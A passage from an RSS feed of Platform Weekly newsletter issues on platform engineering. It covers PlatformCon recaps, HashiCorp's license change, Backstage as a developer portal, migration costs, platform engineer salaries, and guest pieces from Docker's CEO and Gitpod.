\ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  3 biggest trends from PlatformCon 2024\n  https://platformweekly.com/issues/3-biggest-trends-from-platformcon-2024\n  https://platformweekly.com/issues/3-biggest-trends-from-platformcon-2024\n  \n  \nHey there! Welcome to Platform Weekly, your weekly surf on the platform engineering tsunami. This week we\u2019re rounding off an incredible last week, at PlatformCon 2024\n3 biggest trends from PlatformCon 2024\nIt\u2019s now been exactly 7 days since my closing panel at PlatformCon 2024, and I\u2019ve had a little time to think. PlatformCon was officially enormous. From the launch of the first-ever official platform engineering course, to the live day in London - we had over 35k people flow through 80 hours of PlatformCon content.\n80 hours is a lot to absorb, but lucky for me - I got a front-row seat. These are the 3 biggest trends at PlatformCon 2024 this year:\n\n\nReference architectures are EVERYWHERE - when the reference architectures I helped put together first launched last year, we hoped they\u2019d have an impact on the community. We\u2019d never guess how huge it would be. Over 60k downloads in the last year, and more than 20+ talks featuring them!\n\n\nPortals are nowhere to be found - Last year, almost 30% of all talks submitted to PlatformCon 2023 were about Portals, or discussed portals. This year? To my count\u2026 there are just 3. And two of those are about how Portals aren\u2019t enough for platform engineering.\n\nStandards, Standards, Standards - I am blown away by how much more standardized we have become in just the last year. PlatformCon 2023 was defined I think by the battle of ideas of how platform engineering should be. This year couldn\u2019t be more different. From a shared understanding of reference architectures with a platform orchestrator in the middle to the best ways to get started and grow your platform from Minimum Viable Platforms, and the Platform Maturity Model.\nIf you haven\u2019t watched any content from PlatformCon yet. What are you waiting for? Kelsey Hightower and my friend Kaspar von Gr\u00fcnberg discussing Platform Engineering in their fireside chat (and duking it out with chat in the live Q&A) is one of the best things I\u2019ve watched all year.\nCheck it out now!\nQuick bites\nEvent of the week:\n\n\nZero to Minimum Viable Platform (MVP) in four phases\nFrom the community:\n\n\nThe Platform Engineering Slack is getting crazy with PlatformCon fever. Come join!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  PlatformCon is over\n  https://platformweekly.com/issues/platformcon-is-over\n  https://platformweekly.com/issues/platformcon-is-over\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly sled down the platform engineering hill. It\u2019s been an insane week. \nPlatformCon is over\nThis week was next level. It is going to take me a few days to truly wrap my head around what the community accomplished here, but it has been an unbelievable 7 days.\n\u200dLondon was incredible. The conversations, the talks, the opportunity to be there all together. There was this special energy that is actually hard to describe. It was so great that I was terrified the karmic balance meant New York HAD to be a disaster. But it wasn\u2019t. It was incredible. \n\u200dIn a few weeks, once the dust has settled (and I\u2019ve watched all the recordings;) and gotten the chance to really absorb just how much stuff there was. We\u2019ll be writing more about lessons, takeaways, and all. But for now\u2026 let\u2019s enjoy some numbers and some photos.And maybe some sleep over the weekend.\nThis week, we had:\n\n\n770 of us in London\n\n440 of us in New York\n\n9,500 of us in virtual workshops\nAnd almost 25,000 more flowing through the PlatformCon universe of virtual content.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Is this the end of open source?\n  https://platformweekly.com/issues/is-this-the-end-of-open-source\n  https://platformweekly.com/issues/is-this-the-end-of-open-source\n  \n  \nHey there! \ud83e\udd50 It\u2019s Platform Weekly, the platform engineering newsletter saucier than grandma\u2019s secret spaghetti recipe. \ud83c\udf5d Let\u2019s get bakin\u2019\nIs this the end of open source?\nLast Thursday, August 10, HashiCorp announced plans to move future releases of all its core products from a Mozilla Public License v2.0 (MPL 2.0) to a Business Source License v1.1 (BSL).\nBSL 1.1 is a source-available license that allows copying, modification, redistribution, non-commercial use, and commercial use under specific conditions. HashiCorp\u2019s implementation of the license allows end users to copy, modify, and redistribute the code for all non-commercial and commercial use except where providing a competitive offering to HashiCorp.\nIn a blog post explaining the change, Hashicorp\u2019s co-founder and CTO Armon Dadgar said: \u201cWith this change we are following a similar path to other companies in recent years. \u2026 Vendors who provide competitive services built on our community products will no longer be able to incorporate future releases, bug fixes, or security patches contributed to our products.\u201d\nIn a video, Dadgar expressed that the new license was intended to push back against \u201ca set of vendors who feel that they can take open source products and effectively commercialize them on their own without contributing anything back to the broader community.\u201d\nHowever, as of this newsletter\u2019s publication, HashiCorp has not yet named the competitors the new license is targeting. This has caused a lot of confusion and debate about what the decision means for the future of open source. The OpenTF Manifesto is one initiative that has gained the support of many practitioners and businesses who want to keep Terraform \u201ctruly open source.\u201d\nWhat do you think of HashiCorp\u2019s decision?I support it! \u2b50Not a fan \ud83d\udc4eDon\u2019t care either way \ud83e\udd37\nSee HashiCorp Licensing FAQ for more details.\nQuick Bites\n\n\nCerto Mondo\u2019s Amin Astaneh shared SRE lessons from Hyperscale on a recent episode of All Things Ops.\n\nCan you buy an Internal Developer Platform, or do you have to build one yourself? \ud83e\udd14 This article provides a great explanation of why enterprise organizations need to build using a platform as a product approach.\n\nWhat\u2019s the difference between a product engineer and a platform engineer?\n\n\nThe folks at Atlassian shared a three-part framework they used to spark developer joy.\n\nHere\u2019s a great guide to AWS tagging best practices.\n\n6 patterns for platform engineering success, as taught by the speakers at PlatformCon 2023.\n\u200d\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 11 Sep 2023 00:00:00 GMT\n\n\n  Backstage: everything you need to know\n  https://platformweekly.com/issues/backstage-everything-you-need-to-know\n  https://platformweekly.com/issues/backstage-everything-you-need-to-know\n  \n  \nHey there! Welcome to Platform Weekly, your weekly scoop of platform engineering sorbet. Every Friday, we dive into another piece of the platform engineering universe and dissect best practices, lessons, and news.\nThis is going to be a big one. So suit up. We\u2019re diving into one of the biggest topics in platform engineering.\nBackstage: everything you need to know\nThere are few topics as pervasive in platform engineering as Spotify Backstage. It\u2019s an almost unavoidable part of most platform engineering conversations. However, like most things in cloud native, there are some pretty huge misconceptions about it. Let\u2019s solve that.\nFirst, wtf actually is Backstage? \nIt\u2019s a surprisingly tough question to get an answer for. If you ask Spotify, they\u2019ll tell you it\u2019s \u201can open source framework for building developer portals\u201d.\nIf you ask many engineers (and probably a good number of you reading this), many would probably answer \u201cIt\u2019s a platform\u201d\ud83d\ude43 \nI don\u2019t blame people for getting lost. Especially, since if Backstage IS the platform in platform engineering, then this new discipline is gonna be much easier to master than anticipated.\nUnfortunately, that couldn\u2019t be more wrong.\nSimply, Backstage is the first (and by far most dominant) Developer Portal. It was built internally at Spotify with its core functionality intended as a software and service catalog and was later open-sourced in March 2020 and donated to the CNCF.\nTo set the stage for how dominant Backstage is, I helped write a collection of whitepapers last year with variations for the 7 primary Developer Portals. Those whitepapers were downloaded over 70,000 times in 2023, and still currently get 100s of downloads a month - over 95%+ of those downloads were the Backstage variation. The other Portals barely scrape 1% of downloads each.\nFor what it does, Backstage deserves this dominance as well. It was developed to improve developer onboarding and developer experience (DevEx) at Spotify. Their platform team wanted to give their engineers golden paths, while also getting a clearer overview of service ownership to improve auditability and reusability, and based on the stats shared by Spotify - it does this extremely well.\nSo, what\u2019s the catch? Well, for Spotify it works amazingly. Spotify reports an over 99% adoption rate, but for companies that have implemented Backstage? It\u2019s less than 10%.\nThe reason for this is simple.\nSpotify uses Backstage the way it is supposed to be used. As the front end of their Internal Developer Platform (IDP) NOT as the platform itself. They have a clear understanding of what Backstage is good at, its limitations, and how they should be using it. And they\u2019ve got a backend for their platform too.\nThey use it for its software or service catalog, templates, techDocs, search, and k8s plug-in for a few simple (but very useful) functions. \nThey also understand that open source doesn\u2019t mean free. You might not pay for the software itself, but the 2-3 FTEs required to implement and maintain Backstage do cost money - and it\u2019s not long depending on their seniority, the size of your org, and the scope of your setup that you are running into the hundreds of thousands in spend.\nVery far from simply putting the platform in platform engineering.\nDoes that mean I think there is no place for Backstage? Definitely not. It\u2019s a super valuable piece of tech, and combined with a proper backend for your Internal Developer Platform - will deliver insane results.\nBut it\u2019s important you understand what it is, what isn\u2019t, and if you want to get to the true value of platform engineering, what it actually means to implement it.\nQuick bites\nArticle of the week:\n\n\nPlatform engineering: Best practices in \u201cVendor engineering\u201d\nFrom the community:\n\n\nBackstage is not enough to build your platform - If you want more on this topic - this is a must attend webinar]]>\n  \n  Fri, 16 Aug 2024 00:00:00 GMT\n\n\n  Lessons from 500,000 platform engineers\n  https://platformweekly.com/issues/lessons-from-500000-platform-engineers\n  https://platformweekly.com/issues/lessons-from-500000-platform-engineers\n  \n  \nYesterday morning, we passed 500,000 views on PlatformCon content on the community Youtube channel. That\u2019s 18,000 hours of PlatformCon content watched. \nPlatformCon truly is the beating heart of the community. Everywhere I go, whether it\u2019s in our certification courses, in-person events or even just to work with you in your orgs - everyone attended PlatformCon (or is planning to!)\nSo, as we lead up to PlatformCon25, this easter edition of platform weekly will highlight the top 5 talks from the last 3 years of the world\u2019s largest platform engineering conference.\n\n\nIt\u2019s time to get on the platform engineering Ferris Wheel! by David Schweizer is officially the most viewed PlatformCon talk ever! From PC23, it makes a banger argument on the power of PE\n\nHow to build an IDP with Backstage, Crossplane and Argo CD by Viktor Farcic is the 2nd most viewed talk ever (and the top talk from PC22). It\u2019s also one of the first-ever in-depth guides on the Backstage, Crossplace, Argo IDP that has blown up so much in the last few years\n\nBuild abstractions, not illusions by Gregor Hohpe was the #1 from PC23, and might be my most referenced talk ever. If you\u2019ve been following me for awhile, you know I consider this a mandatory watch for everyone in platform engineering.\n\nKargo - Multi-Stage Deployment Pipelines using GitOps by Jesse Suen & Kent Rancourt is the most watched talk of PC24 and an absolute sleeper hit. I don\u2019t even remember this talk from 2024 but it has been blowing up in the last year\ud83d\udd25\n\nPlatform engineering Q&A with Kelsey Hightower and Kaspar von Gr\u00fcnberg is probably one of the best hours of platform engineering content you can watch.\nI cant wait to see how this list changes in the next year. We\u2019re expecting almost 200 new talks from PlatformCon 2025, including 3 full days of workshops, and two separate in-person talk tracks in NYC and LDN.\nYou don\u2019t want to miss it.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Level up your platform engineering\n  https://platformweekly.com/issues/best-platform-engineering-courses\n  https://platformweekly.com/issues/best-platform-engineering-courses\n  \n  \nAt PlatformCon London just a few months ago, we opened with a panel \u201cWhat does great platform engineering look like?\u201d. Within the first 5 minutes, the panelists had all agreed. Great platform engineering is about starting small with an MVP, having a product mindset, measuring properly, and building a platform designed for you and your needs, which delivers on results. Unsurprising stuff for long term readers.\nSo why when moderator Sam asked the audience, \u201chow many of you by that definition have great platforms?\u201d Less than 5 out of 700 raised their hand\u2026 Oof.\nWe want to change that. It\u2019s the platform engineering community\u2019s #1 goal. Here is a piece of how we\u2019re doing that in the Platform Engineering University.\n\n\nPlatform Engineering Practitioner & Platform Engineering Professional: These two certifications you\u2019re already familiar with give you everything you need to know about what great PE looks like, alongside templates and structures you can use to help you accomplish it.\n\nPlatform Engineering Certified Leader: This will ensure you know what it takes to lead a platform engineering initiative (or ensure your boss knows what\u2019s going on).\n\nCloud Development Environments for Platform Engineers (Free): Zoom in on CDEs, how they intersect with platform engineering and how they help drive your platform engineering (and AI) initiatives\n\nKubernetes Cluster Lifecycle Management in Platform Engineering (Free): Use automation, GitOps, and policy-as-code approaches to create your self-service platforms\n\nObservability for Platform Engineering (Free): Master modern observability and see how to integrate it by design into your platform\nDon\u2019t know where to start? Take the (free) introduction to platform engineering course at platform engineering university.]]>\n  \n  Thu, 04 Sep 2025 00:00:00 GMT\n\n\n  please just let us code\n  https://platformweekly.com/issues/please-just-let-us-code\n  https://platformweekly.com/issues/please-just-let-us-code\n  \n  \nHey there! Welcome to Platform Weekly, your weekly shred on the platform engineering slopes. This week we\u2019re talking about something near and dear to my heart.\nplease just let us code\nI get a lot of opportunities to look at and talk about platforms. And I talk to many platform engineers, whether it\u2019s through the community course, Platform Engineering Slack, or PlatformCon. I also get visibility on how thousands of developers are interacting with Internal Developer Platforms.\nThat\u2019s to say, I get a pretty good insight into a lot of platform engineering. And today I want to dissect two truths that seem to be a constant in our world right now.\n\n\nMost teams starting on their platform engineering journey think they need to have a portal\n\n98.2% of developers opt for code-based interaction when organizations give them the choice\nSo, what am I trying to tell you with these two seemingly contradictory truths? That Portals are useless? No. There is lots of value that comes from portals.\nBut we can\u2019t overoptimize on them. The goal of platform engineering has always been about building golden paths, streamlining and automating workflows that improve developer experience, and at the same time making lives easier for infrastructure and operations with better standardization and security.\nSlapping a portal on top of your disjointed setup and celebrating your platform success or worse\u2026 mandating the use of templates within the portal in a kind of golden cage is absolutely NOT the path to platform engineering success.\nSo why do we keep doing it?\nA cynic would say that it\u2019s because a portal represents a quick win. But in talking to dozens of teams, there is a genuine desire to improve the experience for people. It\u2019s just in my view a misunderstanding of what people want.\nDevs don\u2019t want to be forced to click around in a UI to use a very specific template that may or not serve what we want. Not to mention how that easy-use template means Infra has to spend dozens of hours maintaining all the resources that were blasted out by the portal.\nWe want the choice to use the interface that best suits us. We want a platform that thinks holistically and improves developer workflows and experience, without creating a mess for someone else to clean up.\nWe want a platform that thinks about the backend and the frontend and understands how it will touch and interact with each part of the team, or organization.\nSo let\u2019s get building it.\nQuick bites\nArticle of the week:\n\n\nCrowdstrike cybersecurity firm says its software update triggered worldwide Microsoft IT outages - The news we\u2019re all watching right now\nFrom the community:\n\n\nHow to build a Minimum Viable Platform (MVP) in four phases - don\u2019t miss next week's webinar!]]>\n  \n  Fri, 16 Aug 2024 00:00:00 GMT\n\n\n  Prerequisites For Building An Internal Developer Platform\n  https://platformweekly.com/issues/prerequisites-for-building-an-internal-developer-platform\n  https://platformweekly.com/issues/prerequisites-for-building-an-internal-developer-platform\n  \n  \nHey there!\nLast month, I saw this conversation about organizational prerequisites for platform engineering in the Slack community. It\u2019s a great question, so I thought I\u2019d share some of my thoughts.\nLet\u2019s get bakin\u2019\nPrerequisites for building an Internal Developer Platform\nPlatform engineering isn\u2019t just about the technology: it\u2019s also about the people, processes, and culture that enables a software engineering organization to move fast. \ud83d\ude80 Here is my (nonexhaustive) list of non-technical things you\u2019ll need to build a thriving platform engineering organization. \n1\ufe0f. Understand and communicate how the platform adds value to the business. Building a platform is fundamentally a business decision. If you don\u2019t understand or can\u2019t articulate how a platform adds value to your organization, you shouldn\u2019t build one. Crist\u00f3bal Garc\u00eda Garc\u00eda and Chris Ford articulated this well: \u201cYour calculations must take into account the capabilities of commercially available services because unless your platform offers features, specificity to your context or convenience that a commercial offering cannot, you may be better off leaving it to the market and avoiding the maintenance burden - after all your platform strategy depends upon reducing the amount of undifferentiated work, not increasing it!\u201d\n2\ufe0f. Treat your platform like a product and your developers like your customers. A product approach \u2014 which involves conducting user research, soliciting regular user feedback, and marketing the platform internally \u2014 will help clarify what features and functions your platform team should prioritize building. Furthermore, product thinking will ensure your platform is actually adopted across the organization and improves the developer experience. \n3\ufe0f. Don\u2019t forget about the basics. Your platform teams have to understand the basics of software infrastructure: networking, scaling, disaster recovery, etc. If your platform engineers don\u2019t understand your setup\u2019s underlying technology, they will not be able to build a useful product for your developers. A focus on ensuring reliability is also important. \n4\ufe0f. Build a strong platform team culture. OpenCredo CEO/CTO Nicki Watt did a fantastic talk on this at PlatformCon last year. She introduced four community-driven principles your platform team should follow to be successful:\n\n\nMake teams independent of and not dependent on you.\n\nPromote freedom over autonomy.\n\nFocus on soft skills.\n\nRespect and recognize community differences.\n5\ufe0f. Set realistic goals. You aren\u2019t going to replicate Google\u2019s platform in a few months (nor do you necessarily need to). Conduct user research to figure out which features your developers need most, then focus on executing those well. Keep in mind that you don\u2019t need to build everything from scratch. Take advantage of pre-built or open source offerings where possible and tailor them to fit your needs.\n\u200d\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Ramesh Nampelly, Senior Director of Cloud Infrastructure and Platform Engineering at Palo Alto, recently wrote about how Palo Alto approaches platform engineering. \n\ud83e\udd50 The folks at Jit shared how they built a platform engineering organization with The New Stack:\nThe upside is, once you\u2019ve put in the platform engineering work upfront, Melamed said, \u201cYou can really build a product that is scalable by design on microservices, and you can build and develop for the cloud, helping your developers move faster by removing all the headache of things that are really standard.\u201d\n\ud83e\udd50 If you or someone you know has been impacted by recent layoffs, consider checking out the platform engineering lifeboat to find your next opportunity.\n\ud83e\udd50 And the memes are back \ud83d\ude09\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project, so if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 15 Mar 2023 00:00:00 GMT\n\n\n   Stop migrating. Start modernizing.\n  https://platformweekly.com/issues/stop-migrating-start-modernizing\n  https://platformweekly.com/issues/stop-migrating-start-modernizing\n  \n  \nMigration is an eternal topic in our world. We are always innovating, adding new tools, systems, workflows - that\u2019s the nature of what we do. Or the less sappy side of the coin, we are always acquiring, getting acquired or getting management mandates because they prefer one system over another, or got convinced of one at a Gartner conference;)\nThe problem with migration though is that it costs. A lot. Far more than people appreciate. In this week's community webinar, Loreli Cadapan,VP of Product at CloudBees and Ajay Chankramath, Platform Engineering Ambassador, and CEO of Platformetrics broke down how and why teams mess up migrations so frequently, why we need to be thinking about modernization instead - and what you need to be doing to not fail.\nFirst, some data from the Migration Index Report that blew my mind.\n\n\nAverage migration cost: $1.75 million\n\nAverage cost overrun: $315,000 per enterprise (18% over budget)\n\n37% of organizations lost a quarter of their migration budget to hidden costs\n\n94% saw slower or the same system performance post-migration\n\n60% missed estimated revenue opportunities from delayed launches\nMore than these clear hits of actual $ spent. There are the hidden ones. The integration tax on things like increased cognitive load burning teams out and decreasing productivity, morale hits, even the cost of increased risk exposure.\nThe platform team is often some of  the most experienced, and highest paid engineers in the org, and most of the time during a migration we switch from being builders and operators to just full time integrators burning brain power (and time) dealing with compatibility issues and maintaining dual systems rather than producing.\nSo what is the alternative? Thinking modernization NOT migration.\nWhile a migration may concentrate on swapping one tool for another, modernization takes a zoomed out view, working to improve the system as a whole.\nFor example, changing the URL of your CI server doesn\u2019t improve how value flows through your org... If you lift and shift a crappy, fragmented process onto a new platform, you don\u2019t get rid of the mess, you just spread it.\nNew tool + old process = expensive old process\nHere are some of the tips from the webinar that stuck out to me:\nEvaluate capability gaps before replacing tools: Stop asking, \u201cWhat should we replace tool A with?\u201d Start asking, \u201cWhat capabilities are we missing?\u201d Focus on outcomes, not products. Identify gaps in areas like policy enforcement, scalable builds, or SLO visibility first then decide if a new tool is actually needed.Run ROI simulations before committing: Don\u2019t migrate on vibes. Model the reality. Test three paths: wrap what you have with APIs and governance, fully replace it (including dual-stack pain), or selectively migrate capabilities. The hybrid approach is often by FAR most practical.Migrate capabilities, not products: This isn\u2019t about moving from tool A to tool B. It\u2019s about evolving what your platform can do. Define clear exit criteria for legacy systems. Decide upfront what must be true before the old system gets turned off. Without hard decommission triggers, legacy systems stick around\u2026. and around and around\u2026.Protect developer experience during transition: Most devs didn\u2019t ask for the migration (and probably don\u2019t want to migrate at all ahah) and if it slows them down, they\u2019ll resist it. So mission one is to minimize their inconvenience. Protect their ability to ship with flexibility, with things like safe sandboxes, automated compatibility checks, and clear telemetry. If devs feel supported, the migration stands a chance.\nMigrations are an eternal fact of our lives but with all this in mind - we can nail them.\nLet\u2019s do it.]]>\n  \n  Mon, 02 Mar 2026 00:00:00 GMT\n\n\n  It\u2019s Official: Platform Engineers Earn More Than You\n  https://platformweekly.com/issues/its-official-platform-engineers-earn-more-than-you\n  https://platformweekly.com/issues/its-official-platform-engineers-earn-more-than-you\n  \n  \nHey there! This is Platform Weekly, your weekly peek behind the platform engineering curtain\ud83d\udc40\nIt\u2019s Official: Platform Engineers Earn More Than You\nThis week\u2019s edition of Platform Weekly is based on my friend and colleague Carrie Tang\u2019s latest article on The New Stack. Read the full article here.\nIf you\u2019re reading this newsletter there is a good chance that you are a platform engineer, or at least interested in platform engineering and if so, it\u2019ll be no surprise to you that platform engineers make more than DevOps - but exactly how much is the key question.\nI can talk all day about the issues with DevOps and the primacy of Platform Engineering, but in the end, we\u2019re numbers people. And we want to see the actual numbers.\nFortunately for me, I have access to the awesome community around this newsletter, and on the platform engineering community Slack. We\u2019re talking about almost 15,000 platform engineers! And of course because it\u2019s me, I couldn\u2019t help get DevOps salary too to make my favorite comparison\ud83d\ude09\nSo as part of the State of Platform Engineering volume 2 this year, it was really important to me to figure out those exact numbers.\nLast year, in the first edition of this report, there was a clear difference, but this time the numbers are actually insane. In the US, platform engineers have a 42.5% salary advantage, averaging an additional $65,439 over people with DevOps in their title. It\u2019s slightly less extreme in Europe, but the trend there continues with platform engineers earning 18.64% more - an extra $15,871 annually\u200b.\nWhy? And what does this mean for the industry? Well, I\u2019ll let Carrie tell you that.\nQuick bites\nP.s Can you believe this was my most contentious meme of 2023?\nArticles that blew me away: \n\n\n5 Ways Your Organization Can Benefit From Platform Engineering\n\nGitHub Developer Productivity at 30 Billion Messages per Day\nFrom the community:\n\n\nMaybe you can answer this question? ]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  Platform engineering with Docker\n  https://platformweekly.com/issues/platform-engineering-with-docker\n  https://platformweekly.com/issues/platform-engineering-with-docker\n  \n  \nLetter from Docker CEO \n\"Shift Left\": Great Soundbite, Bad Outcomes for Developers\nScott Johnston, CEO, Docker\nOver the course of my 11 years at Docker I observe that our industry, in the spirit of advocating for developers, has aggressively promoted a \"shift left\" perspective. The well-intentioned view is, \"developers know more than managers about dependencies, user needs, non-functional requirements ... let's give them more and more context, ownership, and tasks in order to improve outcomes later in the SDLC!\"\nWhile I know this is well-intentioned, what I\u2019ve seen in many of our customers is that this approach has resulted in deluging developers with waves of requirements, alerts, notifications, pull requests, and much much more from SDLC stages further right, or downstream, from developers, eg, DevOps, Security, Deployment, etc. And since most developers are already over-worked, this additional context, ownership, and tasks from many different tools and pipeline stages more often than not simply increases their cognitive load and extends their workday.\nStart With The Developer\nSeeing this, we began asking ourselves, instead of \"shift left\" what if we instead started with the developer? Start with understanding the dependencies in their existing apps and existing pipeline tools? Start with not only giving them insight into the risks they may introduce with new libraries or modules they may wish to use, but also suggesting lower risk alternatives?\nFar from serving only developers, in this approach their managers also win. In fact, bricks-and-mortar industries, such as automobile manufacturing, discovered from decades of experience that addressing issues at the point at which they're created is the fastest, lowest-cost, lowest-risk approach to remediate. This philosophy is encapsulated in the Kanban \"go to the Gemba\" mandate, in which *any* line manufacturing employee may stop production for any reason, any time. And when they do so they are not reprimanded - quite the opposite; instead, all relevant employees and managers gather at that employees' workstation to understand, ideate, and remediate the issue in real-time. (Having lived in Japan early in my career as a software engineer I had the privilege of experiencing this up close \u2026 it\u2019s quite a mindset change!)\nNow, all companies are taking this approach with software development to some extent but the developers don\u2019t just stop the production line - they also identify the root causes of issues and fix them. This additional ownership combined with additional context, automation, and tooling can significantly improve a developer's workflow, productivity, and happiness. \nDeveloper First\nI was really excited that we pivoted our company to be \u201cdeveloper first\u201d in 2019. Guided by this North Star, we set to work. From Docker Scout recommending fixes you could apply with one click in your IDE (rather than just nagging you with unclear notifications) to Docker Testcontainers Cloud fighting \u201cworks on my machine\u201d by helping dev teams maintain identical test environments locally and in CI.\nOr fighting to make this famous XKCD cartoon on compiling wait times a thing of the past with Docker Build Cloud (Though I promise I don\u2019t wish to compress coffee breaks).\nOr simply just trying to make Docker Desktop the fastest and simplest it can be.\nWatch This Space - More To Come Soon!\nAs development teams remain the cornerstone for the creation of new applications, I\u2019m fired-up that there is so much more we can do together as a community to empower them. Stating the obvious, GenAI is a technology that is massively disrupting everything - very positively, from my perspective - and it opens up so many more ways in which we can help developers do their best work.\nFor example, with minimal overhead GenAI brings to the developer\u2019s inner loop codebase summarization, code completion, and automated generation of documentation, boilerplates, and unit tests, to mention but a few. While early, I\u2019m seeing in our early adopter customers how this is already completely reshaping how development teams approach challenges like modernizing legacy applications, building secure and scalable cloud-native apps, and accelerating app delivery. \nFrom my POV, GenAI is the next \u201ckiller tech\u201d behind a new wave of \u201cdeveloper first\u201d tools.\nI\u2019m incredibly excited about the road ahead and working together with the developer community to make it happen!]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  PlatformCon just got even BIGGER\n  https://platformweekly.com/issues/platformcon-just-got-even-bigger\n  https://platformweekly.com/issues/platformcon-just-got-even-bigger\n  \n  \nHey there! This is Platform Weekly, your weekly surf on the platform engineering waves\ud83c\udfc4\u200d\u2642\ufe0f\nPlatformCon just got even BIGGER\nHaven\u2019t registered for PlatformCon yet? Now might be the time.\nIf you attended PlatformCon last year, you know it was a deluge of content. 100+ talks, and dozens of hours of content dunked on your head in a short two day span. In hindsight, it probably wasn\u2019t the best way to release that much INSANE knowledge. \nThis wasn\u2019t just a challenge due to trying to absorb that much content in 2 days, it made it harder than we\u2019d like for people to engage with speakers, and have that awesome back and forth that makes live events so awesome.\nAnd so far\u2026 it\u2019s looking like not just some of the biggest names in platform engineering will be there. But EVERY big name in Platform Engineering will be there.\nSo this year, to make sure we maximise the value we can get from speakers, not only is PlatformCon taking place over a full week (with a special Open Source day in the middle), I've just confirmed that it will have some of the coolest pre-events in the PE space.\nThese pre-events will include major names from across the platform engineering space, covering topics that I can confidently say I think will define how platform engineering develops over the next year.\nP.S. Since this is a smaller group here on Platform Weekly, I\u2019ll let you in on a secret. Some of those pre-events might need to be private, and first come first serve. More info to come soon\ud83e\udd2b\nQuick bites\nArticles that blew me away: \n\n\nWhy Broadcom Is Killing off VMware\u2019s Standalone Products\nFrom the community:\n\n\nHelp the Community better for all of us!]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  Moving away from Docker\n  https://platformweekly.com/issues/moving-away-from-docker\n  https://platformweekly.com/issues/moving-away-from-docker\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly bowl of platform engineering yogurt. Every week, we dive into another part of the platform engineering world discussing and highlighting news, lessons, and best practices.\nThis week we\u2019ve got a guest newsletter from Lou Bichard from Gitpod previewing a great whitepaper he\u2019s been working on + having a poke at some of the challenges of Docker\ud83d\ude09 \nLet\u2019s get spicy\ud83c\udf36\nWhat Docker should have been\nDocker burst onto the scene in 2013, promising to revolutionize how we build, ship, and run applications. It was hailed as the solution to the age-old \u2018it works on my machine\u2019 problem that has long plagued our development teams and caused outsized cognitive load. It wasn\u2019t just innovative because it created containerization technology, Docker made containers developer-friendly by: \n\n\nSimplifying the use of Linux kernel features like cgroups and namespaces\n\nIntroducing a standard container format and runtime\n\nProviding a simple CLI for building, shipping, and running containers\n\nCreating a hub for sharing and distributing container images \nYet, as with many technological revolutions, the reality has been more complex than the promise. Ultimately, Docker gives us part of a solution to the \u2018works on my machine\u2019 problem but there is certainly a lot that Docker alone cannot give us. Docker requires developers to grasp not only containers but images, volumes, and networking complexities for multiple containers and host-container communication. It\u2019s easy for platform or DevOps engineers very comfortable with Docker to overlook how complex configuring Docker can be.\nBut, why is Docker so challenging? Docker introduces its custom configuration file format with the Dockerfile. This configuration exposes developers to skills that are closer to a Linux system administrator than your average developer who already has a tremendous learning workload. Additionally, security concepts like multi-step configurations aren\u2019t always intuitive or obvious and can make docker configurations feel opaque to your average developer. \nFast forward to today, the path to filling these gaps in the promise of Docker might just be hiding in plain sight. Platform teams at some big tech companies have already stumbled upon this opportunity for significant ROI for platform engineering teams: automated and standardized development environments. \nThe Platform Engineer's golden opportunity\nBy addressing the 'works on my machine problem\u2019 head on platform teams can: \n\n\nreduce development environment setup time from days to minutes\n\ncut down on debugging time related to environment inconsistencies by up to 50%\n\naccelerate project delivery timelines by 20-30%\nFor platform engineers, the imperative is evident. By quantifying and communicating these impacts, platform engineers cement their position as architects of efficiency and showing how platform engineering is a strategic partner to drive organizational success. The message is clear: platform engineering isn't just supporting the business\u2014it's propelling it forward.\nThe adoption of automated and standardized development environments through cloud development environment platforms is not a novel concept in tech. For years, platform teams have recognized the value in streamlining their development processes. With Uber utilizing \u2018Devpod\u2019 so developers can spin up ready-to-code environments with all necessary dependencies setup for them. Shopify uses \u2018Spin\u2019 to reduce the time developers spend on environment troubleshooting and management. Google with \u2018Cider\u2019 to provide development environments that allow their engineers to work on any project, from anywhere while maintaining security. \nHow cloud development environments (CDE) solve the Docker configuration problem\nThe journey to solve the \u2018works on my machine\u2019 problems that Docker started is far from over. We need to consider more than containerization. Not only do we need a simplified interface for working with Docker, but also to consider all other aspects that come with setting up our development environment like: \n\n\nsecrets management and systems access (identity provider integrations)\n\nprovisioning of external infrastructure like databases or clusters\n\nsource control, internal developer platforms and portal integration\nA cloud development environment is a platform for standardizing and automating development environment. It comes pre-configured with all tools, dependencies and access required to write code. For developers that means they can launch new environments using their preferred tooling. For platform teams CDEs are a centralized place to automate everything related to the setup, maintenance and troubleshooting of development environments. With CDEs platform teams shift their influence to the inner loop of the software development. \nSomething that I\u2019ve heard time and again when people see Gitpod for the first time is: \u201cwow, this is what I hoped Docker would have been\u201d. Let me be clear, this is not to say that Docker has not revolutionized our work\u2014it absolutely has. What I feel this points to is an acknowledgement that to fully solve the \u2018works on my machine\u2019 problem we need to build on and around containers with additional developer experience to fully solve this problem. \nThe golden standard we\u2019re striving for is the ability to press a button, and for developers to be productive as quickly as possible. This is the mission of a CDE and it was the original promise of Docker. CDEs are built on and extend container technology with Dev Container to give a full development environment including all your tools ready to go at the click of a button. \nIf you want to understand how this is possible and research into the clear ROI of this, download my full paper.]]>\n  \n  Mon, 02 Dec 2024 00:00:00 GMT\n\n\n  Migration work is killing us. Does AI have the answer?\n  https://platformweekly.com/issues/the-dollar-2b-migration-consulting-industry-is-over\n  https://platformweekly.com/issues/the-dollar-2b-migration-consulting-industry-is-over\n  \n  \nI was at a friend\u2019s house after a long day of work. He was out on the balcony smoking a cigarette. \u2018You know what?\u2019 he said, returning inside. I could sense some philosophizing had been done out in the night air. \u2018Platform teams\u2026 we are just\u2026 migrators. 